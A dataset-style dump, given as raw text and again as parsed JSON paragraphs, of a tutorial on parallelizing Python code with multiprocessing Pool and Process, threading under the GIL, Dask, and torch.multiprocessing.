title
stringlengths
3
221
text
stringlengths
17
477k
parsed
listlengths
0
3.17k
Hands-on Guide to Docker for Data Science | by Sanket Gupta | Towards Data Science
Docker is a critical piece for software development these days. Docker lets you separate and isolate applications as you develop them. As a data scientist, it is common to rely on virtual environment libraries like pyenvor virtualenv — but using Docker can unlock you to not just prototype but build production-grade applications. While virtual environments are excellent for quick dev work, Docker provides a great way for collaborating with colleagues and to also deploy data science applications in cloud. In this blog we will cover the Docker fundamentals you need to know for data science and machine learning development. There are many resources to learn about Docker, but when I was first starting out, I wanted a small tutorial that got me working with a Dockerfile quickly rather than go through a lot of theory. My hope with this blog is to be that tutorial. Anyways, let’s get started. Here are a few reasons why Docker is great for data science applications: Isolate applications: You can use bothconda andpip to install libraries. This gives you a lot of flexibility in which libraries you prefer to use in a particular project. For example, recently I wanted to use Facebook’s Prophet package for time series forecasting and it was just an easy install via conda but for ML libraries such as TensorFlow I prefer using pip — with Docker it was really easy to use both. Docker also lets you use any arbitrary operating system. You can build different versions of Ubuntu or Alpine and even Windows. With virtual environments, you need to use host OS.Collaborate better: Usually in Python projects, you need to use a different virtual environments for different projects. You need to install requirements.txt and then go through specific steps if needed. With Docker though, the installation steps are usually similar. Using Dockerfile with docker-compose lets your users just run docker-compose up to install all the requirements and setup everything for you. And this step remains the same irrespective of machine or OS — which is great! So for collaboration with your colleagues or for open source projects, Docker is great!Deployment to cloud services like AWS becomes easier having everything encapsulated in a Dockerfile. You can just push it to AWS Elastic Container Registry (ECR) and use this container in multiple places — say you want to deploy the model to AWS SageMaker, you can do so with just using the same Dockerfile and AWS deploys it for you. If you are deploying a Flask web app, you can use a Dockerfile to deploy it with AWS. With virtual environments, you would have to do quite a bit of steps to make sure things are the same. Isolate applications: You can use bothconda andpip to install libraries. This gives you a lot of flexibility in which libraries you prefer to use in a particular project. For example, recently I wanted to use Facebook’s Prophet package for time series forecasting and it was just an easy install via conda but for ML libraries such as TensorFlow I prefer using pip — with Docker it was really easy to use both. Docker also lets you use any arbitrary operating system. You can build different versions of Ubuntu or Alpine and even Windows. With virtual environments, you need to use host OS. Collaborate better: Usually in Python projects, you need to use a different virtual environments for different projects. You need to install requirements.txt and then go through specific steps if needed. With Docker though, the installation steps are usually similar. Using Dockerfile with docker-compose lets your users just run docker-compose up to install all the requirements and setup everything for you. And this step remains the same irrespective of machine or OS — which is great! So for collaboration with your colleagues or for open source projects, Docker is great! Deployment to cloud services like AWS becomes easier having everything encapsulated in a Dockerfile. You can just push it to AWS Elastic Container Registry (ECR) and use this container in multiple places — say you want to deploy the model to AWS SageMaker, you can do so with just using the same Dockerfile and AWS deploys it for you. If you are deploying a Flask web app, you can use a Dockerfile to deploy it with AWS. With virtual environments, you would have to do quite a bit of steps to make sure things are the same. To get started, download Docker from here for Windows, Linux or Mac. Also, create an account at Docker Hub: hub.docker.com — Docker Hub is like Github where you can publish and use other people’s images. For example — you can see a bunch of Python images here. Usually, you begin with an image from Docker Hub and build on top of it for your own specific requirements. As this is a hands-on guide, let’s start by first creating a Dockerfile. You can choose to either work with an existing project or create a new project folder. We will go through a workflow with scripting mode. If you prefer working with Jupyter notebooks, we will cover them in separate section in the end. Dockerfile is a text file that contains all the commands needed to build a Docker image. A Docker image is built from a series of layers. Each layer represents an instruction in the image’s Dockerfile. Anytime a layer changes in a Dockerfile, when you rebuild the image, all layers after that changed layer are re-built. Let’s write our Dockerfile! Create a new Dockerfile using vim Dockerfile with: FROM python:3.8-slim-busterRUN mkdir /appWORKDIR /appRUN pip install numpy==1.19.4 \ pandas==1.1.5 \ scikit-learn==0.23.2 \ tensorflow==2.4.0 \ seaborn==0.11.0 COPY . . Here we are doing the following steps: 1. Building from Docker Hub’s Python 3.8 Slim Buster image. There are many images available from Python officially. Slim Buster image is a good trade-off on size, performance and features for most cases. Read more here. 2. Creating a new app folder inside Docker container. Making app as our work folder — by default this will be location of all our commands from this point on. 4. Running pip install to download the libraries we need for our project. These are all the common libraries needed for machine learning project such as Numpy and Pandas for data exploration, Scikit-Learn for data scaling, shallow modeling, feature selection and metrics, TensorFlow for deep learning models, and finally, Seaborn for data visualizations.5. Copying our local files in the current directory into app directory. A Docker image is a read-only template file that contains the source code, libraries, dependencies, tools, and other files needed for an application to run. It is built with a set of layers. The basic idea of a docker command from the Command Line is: docker <management command> <command> Important commands to know for Docker images is: # List all docker imagesdocker image ls# Build an image with name "hello" from Dockerfile in this directorydocker image build -t hello . # Delete image with name "hello"docker image rm hello As per above, let us now run docker image build -t hello . inside the folder with the Dockerfile. It will show something several steps of installation of all the libraries and their dependencies. Finally, it will show: Successfully built <IMAGE_ID>Successfully tagged hello:latest If we only wanted Python 3.8 image without the additional commands we could run: docker image pull python:3.8-slim-buster Docker Container are running instances of Docker Images — containers run the actual applications. Container includes an application and all of its dependencies. Container shares the kernel with other containers, and runs as an isolated process on the host OS. Images can exist without containers, whereas a container needs to run an image to exist. You can have many running containers from the same image. Important commands to know: Now you want to run the Docker image you have built, Let's run the image and get into the bash shell inside the Docker container: docker container run -it hello bash You need to specify -itto interact with the container through terminal shell.The above command will not continue to copy our local files back and forth into the Docker container. This is really important as we need to use a text editor like Atom or Sublime Text to write code — and we want to reflect the code we see on our text editor back into Docker container without rebuilding the container all the time! To do this, you need to use volumes . Run docker container run -it -v $PWD:/app hello bash — this will start a bash shell inside Docker and create a way to copy files back and forth between our local machine and Docker container.We will use docker-compose in a later step so that you don’t have to remember this long command! Let's run the image and get into the bash shell inside the Docker container: docker container run -it hello bash You need to specify -itto interact with the container through terminal shell. The above command will not continue to copy our local files back and forth into the Docker container. This is really important as we need to use a text editor like Atom or Sublime Text to write code — and we want to reflect the code we see on our text editor back into Docker container without rebuilding the container all the time! To do this, you need to use volumes . Run docker container run -it -v $PWD:/app hello bash — this will start a bash shell inside Docker and create a way to copy files back and forth between our local machine and Docker container. We will use docker-compose in a later step so that you don’t have to remember this long command! # Run the container from previously built "hello" image# It will take you to a bash shell inside the docker container # where you can run commands and scriptsdocker container run -it -v $PWD:/app hello bash# List all running docker containersdocker container ls # List all docker containers even stopped onesdocker container ls -a If we only to run a few bash commands inside a Python 3.8 container we could run: docker container run -it python:3.8-slim-buster bash The following image helps illustrate the difference between a Dockerfile, docker image and docker container: Docker compose is a tool for defining and running multi-container Docker applications. Even if you are running a single application, it can be a useful tool for you to not remember all the different volumes arguments, port settings etc. To create a docker-compose file, run vim docker-compose.yml inside the same folder as Dockerfile: version: "3"services: hello: build: . image: hello volumes: - ".:/app" This Docker file is a YAML file which tells docker to build various services from different Dockerfiles, configure the image names, environment variables, volumes and ports. To run this file, do docker-compose build hello— this will build the hello image like before. This followed by docker-compose run hello bash will run the container and set up the volumes etc. This command replaces the entire docker container run -it -v $PWD:/app hello bash command from Step 3. Important commands to know: # Build the docker service "hello"docker-compose build hello# Run a container from image "hello" and open a bash shelldocker-compose run hello bash Now you can code away and analyze and run data science code inside a Docker image! As you build more docker images and containers, you need ways to manage all of these on your system. These commands will help you navigate Docker world. Let’s learn about some docker system commands. docker system info to get all the information about number of containers, images etc.docker system df to find out how much space you can reclaim by deleting unused containers, images etc.docker system prune followed by ‘Y’ will clean up all stopped containers and all dangling images which is really useful. If you add -a to the above command it will clean up all images not just dangling images. docker system info to get all the information about number of containers, images etc. docker system df to find out how much space you can reclaim by deleting unused containers, images etc. docker system prune followed by ‘Y’ will clean up all stopped containers and all dangling images which is really useful. If you add -a to the above command it will clean up all images not just dangling images. If you prefer working with Jupyter notebooks instead, it is little more tricky but we can build from our knowledge in previous sections. You’d have to modify your image and docker-compose file as well. # Dockerfile for working with Jupyter notebooks FROM python:3.8-slim-busterWORKDIR /home/notebooks # This is different from usualRUN pip install numpy==1.19.4 \ pandas==1.1.5 \ scikit-learn==0.23.2 \ tensorflow==2.4.0 \ seaborn==0.11.0 \ jupyter \ notebook COPY . .EXPOSE 8888ENTRYPOINT ["jupyter", "notebook","--ip=0.0.0.0","--allow-root", "--no-browser"] Create the above Dockerfile in your existing project and then change your docker-compose file to: version: "3"services: hello: build: . image: hello volumes: - ".:/home/notebooks" # This is different from usual ports: - 8888:8888 Here are the commands to run: # Build the docker service "hello"docker-compose build hello# Create a Docker container from image "hello" # It will use ENTRYPOINT in Dockerfile to start Jupyter notebookdocker-compose up hello As before, you run build command. But instead of invoking bash, you just run up and using the ENTRYPOINT above, your Docker will start off a Jupyter notebook server that you can access locally at http://127.0.0.1:8888/?token=<token> Now you can Jupyter away on a Docker container using a browser on your computer. Congratulations! The above workflow will hopefully be very useful to your data science development. Let’s quickly recap what is possible when you combine Docker and data science projects: 1. You can share your Dockerfile and docker-compose files with other data scientists for ease of working together. 2. You can deploy this image to AWS ECR to be deployed into a SageMaker endpoint. This will allow you to build your model as an endpoint to be used by users using your website etc. I have written a blog detailed these steps here. 3. You can deploy these containers inside AWS ECS Fargate to run a machine learning model periodically. If you do not want to expose a model to an end-user but rather run it periodically over say all new users that came this month, you can use this approach. This concludes this hands-on guide on using Docker and data science. Check out my PODCAST! I have started a podcast called “The Data Life Podcast”. If you deal with data already in your job, or want to get better at machine learning or data science, this is the podcast for you — the unique thing here is that I cover the life aspects as well, with a recent episode on Women in Tech. You can listen to it on Apple Podcasts, Spotify, or Overcast. If you have any questions, drop me a note at my LinkedIn profile!
[ { "code": null, "e": 800, "s": 172, "text": "Docker is a critical piece for software development these days. Docker lets you separate and isolate applications as you develop them. As a data scientist, it is common to rely on virtual environment libraries like pyenvor virtualenv — but using Docker can unlock you to not just prototype but build production-grade applications. While virtual environments are excellent for quick dev work, Docker provides a great way for collaborating with colleagues and to also deploy data science applications in cloud. In this blog we will cover the Docker fundamentals you need to know for data science and machine learning development." }, { "code": null, "e": 1070, "s": 800, "text": "There are many resources to learn about Docker, but when I was first starting out, I wanted a small tutorial that got me working with a Dockerfile quickly rather than go through a lot of theory. My hope with this blog is to be that tutorial. Anyways, let’s get started." }, { "code": null, "e": 1144, "s": 1070, "text": "Here are a few reasons why Docker is great for data science applications:" }, { "code": null, "e": 2834, "s": 1144, "text": "Isolate applications: You can use bothconda andpip to install libraries. This gives you a lot of flexibility in which libraries you prefer to use in a particular project. For example, recently I wanted to use Facebook’s Prophet package for time series forecasting and it was just an easy install via conda but for ML libraries such as TensorFlow I prefer using pip — with Docker it was really easy to use both. Docker also lets you use any arbitrary operating system. You can build different versions of Ubuntu or Alpine and even Windows. With virtual environments, you need to use host OS.Collaborate better: Usually in Python projects, you need to use a different virtual environments for different projects. You need to install requirements.txt and then go through specific steps if needed. With Docker though, the installation steps are usually similar. Using Dockerfile with docker-compose lets your users just run docker-compose up to install all the requirements and setup everything for you. And this step remains the same irrespective of machine or OS — which is great! So for collaboration with your colleagues or for open source projects, Docker is great!Deployment to cloud services like AWS becomes easier having everything encapsulated in a Dockerfile. You can just push it to AWS Elastic Container Registry (ECR) and use this container in multiple places — say you want to deploy the model to AWS SageMaker, you can do so with just using the same Dockerfile and AWS deploys it for you. If you are deploying a Flask web app, you can use a Dockerfile to deploy it with AWS. With virtual environments, you would have to do quite a bit of steps to make sure things are the same." }, { "code": null, "e": 3425, "s": 2834, "text": "Isolate applications: You can use bothconda andpip to install libraries. This gives you a lot of flexibility in which libraries you prefer to use in a particular project. For example, recently I wanted to use Facebook’s Prophet package for time series forecasting and it was just an easy install via conda but for ML libraries such as TensorFlow I prefer using pip — with Docker it was really easy to use both. Docker also lets you use any arbitrary operating system. You can build different versions of Ubuntu or Alpine and even Windows. With virtual environments, you need to use host OS." }, { "code": null, "e": 4002, "s": 3425, "text": "Collaborate better: Usually in Python projects, you need to use a different virtual environments for different projects. You need to install requirements.txt and then go through specific steps if needed. With Docker though, the installation steps are usually similar. Using Dockerfile with docker-compose lets your users just run docker-compose up to install all the requirements and setup everything for you. And this step remains the same irrespective of machine or OS — which is great! So for collaboration with your colleagues or for open source projects, Docker is great!" }, { "code": null, "e": 4526, "s": 4002, "text": "Deployment to cloud services like AWS becomes easier having everything encapsulated in a Dockerfile. You can just push it to AWS Elastic Container Registry (ECR) and use this container in multiple places — say you want to deploy the model to AWS SageMaker, you can do so with just using the same Dockerfile and AWS deploys it for you. If you are deploying a Flask web app, you can use a Dockerfile to deploy it with AWS. With virtual environments, you would have to do quite a bit of steps to make sure things are the same." }, { "code": null, "e": 4895, "s": 4526, "text": "To get started, download Docker from here for Windows, Linux or Mac. Also, create an account at Docker Hub: hub.docker.com — Docker Hub is like Github where you can publish and use other people’s images. For example — you can see a bunch of Python images here. Usually, you begin with an image from Docker Hub and build on top of it for your own specific requirements." }, { "code": null, "e": 5203, "s": 4895, "text": "As this is a hands-on guide, let’s start by first creating a Dockerfile. You can choose to either work with an existing project or create a new project folder. We will go through a workflow with scripting mode. If you prefer working with Jupyter notebooks, we will cover them in separate section in the end." }, { "code": null, "e": 5603, "s": 5203, "text": "Dockerfile is a text file that contains all the commands needed to build a Docker image. A Docker image is built from a series of layers. Each layer represents an instruction in the image’s Dockerfile. Anytime a layer changes in a Dockerfile, when you rebuild the image, all layers after that changed layer are re-built. Let’s write our Dockerfile! Create a new Dockerfile using vim Dockerfile with:" }, { "code": null, "e": 5838, "s": 5603, "text": "FROM python:3.8-slim-busterRUN mkdir /appWORKDIR /appRUN pip install numpy==1.19.4 \\ pandas==1.1.5 \\ scikit-learn==0.23.2 \\ tensorflow==2.4.0 \\ seaborn==0.11.0 COPY . ." }, { "code": null, "e": 6682, "s": 5838, "text": "Here we are doing the following steps: 1. Building from Docker Hub’s Python 3.8 Slim Buster image. There are many images available from Python officially. Slim Buster image is a good trade-off on size, performance and features for most cases. Read more here. 2. Creating a new app folder inside Docker container. Making app as our work folder — by default this will be location of all our commands from this point on. 4. Running pip install to download the libraries we need for our project. These are all the common libraries needed for machine learning project such as Numpy and Pandas for data exploration, Scikit-Learn for data scaling, shallow modeling, feature selection and metrics, TensorFlow for deep learning models, and finally, Seaborn for data visualizations.5. Copying our local files in the current directory into app directory." }, { "code": null, "e": 6934, "s": 6682, "text": "A Docker image is a read-only template file that contains the source code, libraries, dependencies, tools, and other files needed for an application to run. It is built with a set of layers. The basic idea of a docker command from the Command Line is:" }, { "code": null, "e": 6972, "s": 6934, "text": "docker <management command> <command>" }, { "code": null, "e": 7021, "s": 6972, "text": "Important commands to know for Docker images is:" }, { "code": null, "e": 7215, "s": 7021, "text": "# List all docker imagesdocker image ls# Build an image with name \"hello\" from Dockerfile in this directorydocker image build -t hello . # Delete image with name \"hello\"docker image rm hello " }, { "code": null, "e": 7434, "s": 7215, "text": "As per above, let us now run docker image build -t hello . inside the folder with the Dockerfile. It will show something several steps of installation of all the libraries and their dependencies. Finally, it will show:" }, { "code": null, "e": 7496, "s": 7434, "text": "Successfully built <IMAGE_ID>Successfully tagged hello:latest" }, { "code": null, "e": 7618, "s": 7496, "text": "If we only wanted Python 3.8 image without the additional commands we could run: docker image pull python:3.8-slim-buster" }, { "code": null, "e": 8053, "s": 7618, "text": "Docker Container are running instances of Docker Images — containers run the actual applications. Container includes an application and all of its dependencies. Container shares the kernel with other containers, and runs as an isolated process on the host OS. Images can exist without containers, whereas a container needs to run an image to exist. You can have many running containers from the same image. Important commands to know:" }, { "code": null, "e": 8106, "s": 8053, "text": "Now you want to run the Docker image you have built," }, { "code": null, "e": 8955, "s": 8106, "text": "Let's run the image and get into the bash shell inside the Docker container: docker container run -it hello bash You need to specify -itto interact with the container through terminal shell.The above command will not continue to copy our local files back and forth into the Docker container. This is really important as we need to use a text editor like Atom or Sublime Text to write code — and we want to reflect the code we see on our text editor back into Docker container without rebuilding the container all the time! To do this, you need to use volumes . Run docker container run -it -v $PWD:/app hello bash — this will start a bash shell inside Docker and create a way to copy files back and forth between our local machine and Docker container.We will use docker-compose in a later step so that you don’t have to remember this long command!" }, { "code": null, "e": 9146, "s": 8955, "text": "Let's run the image and get into the bash shell inside the Docker container: docker container run -it hello bash You need to specify -itto interact with the container through terminal shell." }, { "code": null, "e": 9709, "s": 9146, "text": "The above command will not continue to copy our local files back and forth into the Docker container. This is really important as we need to use a text editor like Atom or Sublime Text to write code — and we want to reflect the code we see on our text editor back into Docker container without rebuilding the container all the time! To do this, you need to use volumes . Run docker container run -it -v $PWD:/app hello bash — this will start a bash shell inside Docker and create a way to copy files back and forth between our local machine and Docker container." }, { "code": null, "e": 9806, "s": 9709, "text": "We will use docker-compose in a later step so that you don’t have to remember this long command!" }, { "code": null, "e": 10138, "s": 9806, "text": "# Run the container from previously built \"hello\" image# It will take you to a bash shell inside the docker container # where you can run commands and scriptsdocker container run -it -v $PWD:/app hello bash# List all running docker containersdocker container ls # List all docker containers even stopped onesdocker container ls -a " }, { "code": null, "e": 10273, "s": 10138, "text": "If we only to run a few bash commands inside a Python 3.8 container we could run: docker container run -it python:3.8-slim-buster bash" }, { "code": null, "e": 10382, "s": 10273, "text": "The following image helps illustrate the difference between a Dockerfile, docker image and docker container:" }, { "code": null, "e": 10717, "s": 10382, "text": "Docker compose is a tool for defining and running multi-container Docker applications. Even if you are running a single application, it can be a useful tool for you to not remember all the different volumes arguments, port settings etc. To create a docker-compose file, run vim docker-compose.yml inside the same folder as Dockerfile:" }, { "code": null, "e": 10803, "s": 10717, "text": "version: \"3\"services: hello: build: . image: hello volumes: - \".:/app\"" }, { "code": null, "e": 10977, "s": 10803, "text": "This Docker file is a YAML file which tells docker to build various services from different Dockerfiles, configure the image names, environment variables, volumes and ports." }, { "code": null, "e": 11272, "s": 10977, "text": "To run this file, do docker-compose build hello— this will build the hello image like before. This followed by docker-compose run hello bash will run the container and set up the volumes etc. This command replaces the entire docker container run -it -v $PWD:/app hello bash command from Step 3." }, { "code": null, "e": 11300, "s": 11272, "text": "Important commands to know:" }, { "code": null, "e": 11448, "s": 11300, "text": "# Build the docker service \"hello\"docker-compose build hello# Run a container from image \"hello\" and open a bash shelldocker-compose run hello bash" }, { "code": null, "e": 11531, "s": 11448, "text": "Now you can code away and analyze and run data science code inside a Docker image!" }, { "code": null, "e": 11731, "s": 11531, "text": "As you build more docker images and containers, you need ways to manage all of these on your system. These commands will help you navigate Docker world. Let’s learn about some docker system commands." }, { "code": null, "e": 12128, "s": 11731, "text": "docker system info to get all the information about number of containers, images etc.docker system df to find out how much space you can reclaim by deleting unused containers, images etc.docker system prune followed by ‘Y’ will clean up all stopped containers and all dangling images which is really useful. If you add -a to the above command it will clean up all images not just dangling images." }, { "code": null, "e": 12214, "s": 12128, "text": "docker system info to get all the information about number of containers, images etc." }, { "code": null, "e": 12317, "s": 12214, "text": "docker system df to find out how much space you can reclaim by deleting unused containers, images etc." }, { "code": null, "e": 12527, "s": 12317, "text": "docker system prune followed by ‘Y’ will clean up all stopped containers and all dangling images which is really useful. If you add -a to the above command it will clean up all images not just dangling images." }, { "code": null, "e": 12729, "s": 12527, "text": "If you prefer working with Jupyter notebooks instead, it is little more tricky but we can build from our knowledge in previous sections. You’d have to modify your image and docker-compose file as well." }, { "code": null, "e": 13187, "s": 12729, "text": "# Dockerfile for working with Jupyter notebooks FROM python:3.8-slim-busterWORKDIR /home/notebooks # This is different from usualRUN pip install numpy==1.19.4 \\ pandas==1.1.5 \\ scikit-learn==0.23.2 \\ tensorflow==2.4.0 \\ seaborn==0.11.0 \\ jupyter \\ notebook COPY . .EXPOSE 8888ENTRYPOINT [\"jupyter\", \"notebook\",\"--ip=0.0.0.0\",\"--allow-root\", \"--no-browser\"]" }, { "code": null, "e": 13285, "s": 13187, "text": "Create the above Dockerfile in your existing project and then change your docker-compose file to:" }, { "code": null, "e": 13442, "s": 13285, "text": "version: \"3\"services: hello: build: . image: hello volumes: - \".:/home/notebooks\" # This is different from usual ports: - 8888:8888" }, { "code": null, "e": 13472, "s": 13442, "text": "Here are the commands to run:" }, { "code": null, "e": 13668, "s": 13472, "text": "# Build the docker service \"hello\"docker-compose build hello# Create a Docker container from image \"hello\" # It will use ENTRYPOINT in Dockerfile to start Jupyter notebookdocker-compose up hello " }, { "code": null, "e": 13982, "s": 13668, "text": "As before, you run build command. But instead of invoking bash, you just run up and using the ENTRYPOINT above, your Docker will start off a Jupyter notebook server that you can access locally at http://127.0.0.1:8888/?token=<token> Now you can Jupyter away on a Docker container using a browser on your computer." }, { "code": null, "e": 14170, "s": 13982, "text": "Congratulations! The above workflow will hopefully be very useful to your data science development. Let’s quickly recap what is possible when you combine Docker and data science projects:" }, { "code": null, "e": 14774, "s": 14170, "text": "1. You can share your Dockerfile and docker-compose files with other data scientists for ease of working together. 2. You can deploy this image to AWS ECR to be deployed into a SageMaker endpoint. This will allow you to build your model as an endpoint to be used by users using your website etc. I have written a blog detailed these steps here. 3. You can deploy these containers inside AWS ECS Fargate to run a machine learning model periodically. If you do not want to expose a model to an end-user but rather run it periodically over say all new users that came this month, you can use this approach." }, { "code": null, "e": 14843, "s": 14774, "text": "This concludes this hands-on guide on using Docker and data science." }, { "code": null, "e": 15220, "s": 14843, "text": "Check out my PODCAST! I have started a podcast called “The Data Life Podcast”. If you deal with data already in your job, or want to get better at machine learning or data science, this is the podcast for you — the unique thing here is that I cover the life aspects as well, with a recent episode on Women in Tech. You can listen to it on Apple Podcasts, Spotify, or Overcast." } ]
Speed Up Your Algorithms Part 3 — Parallel-ization | by Puneet Grover | Towards Data Science
This is the third post in a series I am writing. All posts are here: Speed Up your Algorithms Part 1 — PyTorchSpeed Up your Algorithms Part 2 — NumbaSpeed Up your Algorithms Part 3 — ParallelizationSpeed Up your Algorithms Part 4 — Dask Speed Up your Algorithms Part 1 — PyTorch Speed Up your Algorithms Part 2 — Numba Speed Up your Algorithms Part 3 — Parallelization Speed Up your Algorithms Part 4 — Dask And these goes with Jupyter Notebooks available here: [Github-SpeedUpYourAlgorithms] and [Kaggle] IntroductionPool and ProcessThreadingDasktorch.multiprocessingFurther ReadingReferences Introduction Pool and Process Threading Dask torch.multiprocessing Further Reading References NOTE:This post goes with Jupyter Notebook available in my Repo on Github:[SpeedUpYourAlgorithms-Parallelization]and on Kaggle:[SpeedUpYourAlgorithms-Parallelization] With Data increasing exponentially with time and growth in processor’s computing power coming to a hold, we need to find ways to process data efficiently and effectively. What should we do? GPU is one solution, and it is very effective. But, GPU’s were not made for Machine Learning purposes, they were specifically made for complex image processing and gaming. We made our algorithms to work on existing GPUs and it actually paid off. Now, Google has introduced a new device, called TPU (Tensor Processing Unit), which is tailored for machine learning workloads on TensorFlow and the results do look promising. And Nvidia is also not backing off.1 But we will hit the ceiling at some point in the future. Even if we take any of the enormous datasets available today, a single machine or computing unit will not be sufficient to handle such load. We will have to use multiple machines to do our task(s). We will have to Parallelize our task(s). In this post we will look into some of the methods which you will work with most of the time in Python. And then a little introduction to Dask and torch.multiprocessing. Both Pool and Process methods of multiprocessing library of Python initiates a new process for our task, but in a different way. Process makes only one process per call: import multiprocessing as mpp = mp.Process(target= ##target-function, args= ##args-to-func)# This call will make only one process, which will process# target-function with given arguments in background. But the process still hasn’t started. To start it you have to do: p.start() Now you can either leave it here, or check if the process is complete or not by: p.join()# Now it will wait for process to complete. There can be many uses of not checking if the process has completed or not. For example, in a Client-Server Application where the probability of packet being lost, or a non-responding process is really low, we can neglect it which can give us considerable speedup. [Depends on Application’s process] For multiple processes you will have to make multiple Processs. You can make as many you like. All of them will start when you invoke .start() on them. processes =[mp.Process(target=func, args=(a, b)) for (a, b) in list]for p in processes: p.start()for p in processes: p.join() On the other hand a Pool initiates a fixed number of processes and then we can assign some tasks to those processes. So, at a particular instance of time only a fixed amount of processes will be running and the rest will be waiting. The number of processes are mostly chosen as number of cores of your device, which is also the default behavior if you leave the argument empty. pool = mp.Pool(processes=2) Now there are many methods which you can apply to use this Pool. Ones we can get away with, in Data Science, are Pool.apply and Pool.map, because they return the result as soon as task(s) are complete. Pool.apply takes only one argument and uses only one process, whereas Pool.map takes many arguments and puts them onto our Pool of processes. results = [pool.apply(func, (x)) for x in X]# Or results = pool.map(func, (arg)) # Takes only one argument But Pool.map takes only one argument (iterable) which it divides into number of chunks. To send in many arguments you can do something like this. Considering our previous example of Client-Server Application, here max number of processes to be running are predefined, so if we have a lot of requests/packets, only n (max processes in Pool) of them will be running at a time, and others will be in queue for one of the processes slot waiting for its turn. # How can we use it with Data Frame?# A: You can use some parallelizable functiondf.shape# (100, 100)dfs = [df.iloc[i*25:i*25+25, 0] for i in range(4)]with Pool(4) as p: res = p.map(np.exp, dfs)for i in range(4): df.iloc[i*25:i*25+25, 0] = res[i]# It can come in handy for preprocessing of data. What to use and when?2 If you have a lot of tasks and not many of them are compute intensive, you should use a Process. Because if they are compute intensive, they might clog your CPU and your system might crash. And they won’t have to wait in queue for their chance if your system can handle them all at once. And when you have fixed amount of tasks and they are very compute intensive, you should use a Pool. Because if you set them loose all at once, your system might crash. Threading! In python? Threading in python has a bad reputation. And people are correct. Threading actually doesn’t work as it should most of the time. So what is the problem? The problem is GIL (Global Interpreter Lock). GIL was introduced early on Python’s development when there wasn’t even concept of Threads in Operating Systems. It was chosen for its simplicity. GIL allows only one CPU bound process at a time. That is, it gives access of python interpreter to only one thread at a time. So, a threadLocks the whole interpreter until its complete.3 For single-threaded programs it was fast as there was only one Lock to maintain. And as python became popular it became hard to effectively put out GIL and not harm all the dependent applications. And that’s why its still there. But, you can still use multi-threading parallel(y) if your task is not CPU bound. That is you can use multiple threads and get speedup if your task is I/O bound. Because most of the time these tasks are waiting for response from other agent (like disk etc.) and in that time they can release the lock, leaving it for other tasks to acquire it in meantime.4 NOTE: (From official page here)The GIL is controversial because it prevents multithreaded CPython programs from taking full advantage of multiprocessor systems in certain situations. Note that potentially blocking or long-running operations, such as I/O, image processing, and NumPy number crunching, happen outside the GIL. Therefore it is only in multithreaded programs that spend a lot of time inside the GIL, interpreting CPython bytecode, that the GIL becomes a bottleneck. So, if your task is IO bound, something like downloading some data from server, read/write to disk etc., you can use multiple threads and get speedup. from threading import Thread as timport queueq = queue.Queue() # For putting and getting results of threadfunc_ = lambda q, args: q.put(func(args))threads = [t(target=func_, args=(q, args)) for args in args_array]for t in threads: t.start()for t in threads: t.join()res = []for t in threads: res.append(q.get()) # These results won't necessarily be in order To save results from Threads, you can use something like Queue. And for that you will have to define your function as shown above or you can use Queue.put() inside your function, but for that you will have to change your function definition to include Queue as argument.6 Now, your results in queue won’t necessarily be in order. If you want your results to be in order you can pass in some counter as arguments, as ids, and then use those ids to identify where the result came from. threads = [t(func_, args = (i, q, args)) for i, args in enumerate(args_array)]# And update function accordinglyNOTE:Multiprocessing with Pandas 'read.csv' method doesn't give much speedup for some reason. As an alternative you can use Dask. Threads vs Processes?7 A process is heavy-weight as it may contain many threads of its own (contains atleast one) and it has its own memory space allocated, whereas threads are light-weight as it works on memory area of parent process and thus faster to make. Communication between threads inside a process is easier because they share same memory space., whereas communication between processes (IPC-Inter Process Communication) is slower. But then again, threads sharing same data can get into race condition, and should be taken care of using Locks or similar solutions. Dask is a parallel computing library which doesn’t just help parallelize existing Machine Learning tools (Pandas andNumpy)[i.e. using High Level Collection], but also helps parallelize low level tasks/functions and can handle complex interactions between these functions by making a tasks’ graph.[i.e. using Low Level Schedulers] This is similar to Threading or multiprocessing modules of Python. They also have a separate Machine Learning library, dask-ml, which has integration with existing libraries such as sklearn, xgboost and tensorflow. from dask import delayed as delay@delaydef add(x, y): return x+y@delaydef sq(x): return x**2# Now you can use these functions any way you want, Dask will # parallelize your execution. And as the name suggest Dask # will not execute your function callings right away, rather# it will make a computational graph depending on the way you are# calling functions on inputs and intermediate results. To compute# final result:result.compute() Dask has a inherently parallel nature of doing everything. For how it handles DataFrames, you can think of it as a Divide and Conquer approach, where it divides your DataFrame into chunks and then apply your given function in parallel. df = dask.DataFrame.read_csv("BigFile.csv", chunks=50000)# Your DataFrame has been divided into chunks and every function# you apply will be applied to all chunks separately and in # parallel.# It has most of Pandas functions which you can use:agg = df.groupby(["column"]).aggregate(["sum", "mean"])agg.columns = new_column_namesdf_new = df.merge(agg.reset_index(), on="column", how="left")# It have not compute result up until now,# but with .compute() it will compute now in parallel.df_new.compute().head() They also have interface for running them on cluster of machines. For full introduction on Dask, see my post here. torch.multiprocessing is a wrapper around Python multiprocessing module and its API is 100% compatible with original module. So you can use Queue's, Pipe's, Array's etc. which are in Python’s multiprocessing module here. To add to that, to make it faster they have added a method, share_memory_(), which allows data to go into a state where any process can use it directly and so passing that data to as argument to different processes won’t make copy of that data. You can share Tensors, model’s parameters, and you can share them on CPU or GPU as you like. Warning from Pytorch: (Regarding sharing on GPU) CUDA API requires that the allocation exported to other processes remains valid as long as it’s used by them. You should be careful and ensure that CUDA tensors you shared don’t go out of scope as long as it’s necessary. This shouldn’t be a problem for sharing model parameters, but passing other kinds of data should be done with care. Note that this restriction doesn’t apply to shared CPU memory. You can use methods above in “Pool and Process” section here, and to get more speedup you can use share_memory_() method to share a Tensor(say) among all processes without being copied. # Training a model using multiple processes:import torch.multiprocessing as mpdef train(model): for data, labels in data_loader: optimizer.zero_grad() loss_fn(model(data), labels).backward() optimizer.step() # This will update the shared parametersmodel = nn.Sequential(nn.Linear(n_in, n_h1), nn.ReLU(), nn.Linear(n_h1, n_out))model.share_memory() # Required for 'fork' method to workprocesses = []for i in range(4): # No. of processes p = mp.Process(target=train, args=(model,)) p.start() processes.append(p)for p in processes: p.join() You can also work with a cluster of machines. For more info see here. NOTE:For little introduction (kind of) on usage of Pycuda, see Jupyter Notebook's PyCuda section here. 